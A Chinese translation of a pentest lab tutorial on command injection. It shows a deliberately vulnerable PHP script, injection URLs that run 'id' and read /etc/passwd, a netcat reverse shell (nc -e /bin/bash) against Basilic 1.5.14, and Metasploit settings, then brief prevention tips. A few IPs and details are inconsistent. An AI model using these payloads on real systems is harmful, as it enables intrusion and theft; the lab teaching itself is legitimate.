命令注入是一种攻击,攻击者试图传递恶意载荷,这些载荷会被应用程序不当处理并在系统shell里执行。此漏洞会导致脆弱应用程序的宿主机上出现远程代码执行。
什么是命令注入?
命令注入是一种攻击,攻击者试图传递恶意载荷,这些载荷会被应用程序不当处理并在系统shell里执行。此漏洞会导致脆弱应用程序的宿主机上出现远程代码执行。
命令注入以与应用程序相同的权限运行。比如,如果脆弱应用程序以www-data的权限运行,被利用后,攻击者会获取宿主机上所有的www-data权限。
命令注入漏洞存在的主要原因是缺乏输入验证,并且应用程序的编码中使用了系统调用或者系统方法。
让我们看一个易受攻击的代码示例:
下方是读取文件的代码。将其保存为“read.php”。创建一个“test.txt”文件,在文件中写入“Command Injection testing”,并保存。
<?php print (“Command Injection testing”) print(“<p>”); $file=$_GET[‘fileread’]; system(“cat $file”); ?> |
为读取文件,我们必须向服务器发送URL包含“fileread”的“GET”请求,如下:
http://localhost/read.php?fileread=abc.txt
输出将是:
Command Injection testing
Command injection text
为了利用上方代码中的命令注入漏洞,我们需要向服务器发送下方的请求:
http://localhost/read.php?fileread=abc.txt;id
输出将是:
Command Injection testing
Command injection text
Uid=33 (www-data) gid=33(www-data) groups=33(www-data)
攻击者执行该命令,权限与应用程序运行的权限相同。命令注入漏洞就是这么被利用的。
还有其他在脆弱应用程序中执行“id”的变种,如下:
http://localhost/read.php?fileread=abc.txt || id
http://localhost/read.php?fileread=abc.txt && id
如果安装的应用程序以根权限运行,那么命令注入可以在脆弱的宿主机上执行根用户能执行的任何命令。
命令注入渗透测试所需要的实验室设置:
- Kali Linux (Bridged或NAT). 攻击者 Kali Linux 的IP是168.1.102。
- 命令注入ISO (Bridged或NAT)。目标IP是168.1.103。
了解命令注入ISO的外观和感受:
命令注入ISO给我们提供了登录操作系统并查看脆弱应用程序的机会。使用用户名“Securitytube”和密码“123321”登录命令注入ISO。
检查命令注入ISO(192.168.1.103)上的80端口。
如上所示,有很多可以利用的框架。在本文中,我们将利用Basilic 1.5.14.
什么是Basilic?
Basilic是在研究实验室中所用的书目服务器。它有助于在互联网上自动化和扩散研究出版物。它从出版物数据库中生成一个网页。这个框架还有助于显示索引、查找和其他各种功能。
Basilic要求正确安装和配置PHP、Apache和MySQL。
要下载、配置和安装Basilic,请点击下方链接:
http://artis.imag.fr/Software/Basilic/
现在,我们点击Basilic文件夹,你可以看到以下内容:
在互联网上搜索对应的利用方法,我们可以在下方URL找到CVE-2012-3399(描述了Basilic错误的输入验证)和一个任意代码执行利用方法:
http://www.securityfocus.com/bid/54234/exploit
该链接为我们提供了可导致远程代码攻击的脆弱URL。
该利用方法帮助我们确定“diff.php”文件容易受到输入处理的影响,并且出现在/basilica/Config目录下。
http://www.example.com/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1&old=2
SecurityFocus的输出编码似乎将其模糊化了。实际的利用方法如下:
http://www.example.com/basilic/Config/diff.php?file=|cat /etc/passwd&new=1&old=2
使用上面提到的漏洞利用方法来执行命令。
我们可以使用file参数来执行系统命令。
我们来获得一个反向shell。
在Kali上启动一个监听器:
root@kali#nc -lvvp 3333
输入文件参数为“diff.php?file=|nc -v 127.0.0.1 3333 -e /bin/bash&new=1&old=2”的命令。
我们就得到了想要的shell。
在Metasplit和Kali的帮助下,我们来利用这个漏洞。
在Exploit-DB上利用Kali的SearchSploit工具搜索利用方法,我得到了一个Ruby利用方法。
如果编写语言是Ruby,那么我想它会出现在Metasploit中。
在MSF框架中查找利用方法。
root@kali# service postgresql start
root@kali# service metasploit start
root@kali# msfconsole
msf> search basilic
如上所示,我们找到了用于Basilic的任意命令执行利用方法。
按照下图所示,配置和运行Metasploit:
模块选项:
RHOST 192.168.1.103
RPORT 80
TARGETURL /basilic-1.5.14/
载荷选项:
LHOST 192.168.1.102
LPORT 4444
最后,利用方法。
我们成功地在Basilic里面利用了命令注入程序,并获取了目标的www-data权限。
如何防止命令注入
- 开发者应采用恰当的输入验证,并且不在整个应用程序中使用特殊字符。
- 不再后端编程的任何地方使用系统调用功能。
- 应用程序应该以最低权限运行。
文章翻译自:http://resources.infosecinstitute.com/pentester-academy-command-injection-iso-basilic-1-5-14-exploitation/